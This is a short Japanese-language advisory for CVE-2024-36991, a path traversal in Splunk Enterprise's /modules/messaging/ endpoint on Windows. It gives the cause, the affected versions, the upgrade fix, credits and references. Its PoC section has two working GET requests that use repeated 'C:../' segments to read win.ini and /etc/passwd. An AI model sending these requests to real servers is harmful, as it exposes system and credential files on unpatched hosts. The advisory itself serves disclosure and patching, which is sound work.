CVE-2024-36991

Windows 上の Splunk Enterprise の "/Modules/Messaging/" エンドポイントにおけるパストラバーサル

9.2.2、9.1.5、9.0.10 未満の Splunk Enterprise バージョンにおいて、攻撃者は Windows 上の Splunk Enterprise の /modules/messaging/ エンドポイントに対してパストラバーサルを実行できる可能性があります。

この脆弱性は、Python の os.path.join 関数が、トークンのドライブが構築パスのドライブと一致する場合にパストークンからドライブ文字を削除するために存在します。

この脆弱性は Windows 上の Splunk Enterprise にのみ影響するはずです。

POC

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

Affected

• 9.2 から 9.2.2 未満のバージョンが影響を受けます。
• 9.1 から 9.1.5 未満のバージョンが影響を受けます。
• 9.0 から 9.0.10 未満のバージョンが影響を受けます。

Solution

Splunk Enterprise をバージョン 9.2.2、9.1.5、9.0.10 以上にアップグレードしてください。

Credits

Danylo Dmytriiev (DDV_UA)

References

• https://advisory.splunk.com/advisories/SVD-2024-0711
• https://www.cve.org/CVERecord?id=CVE-2024-36991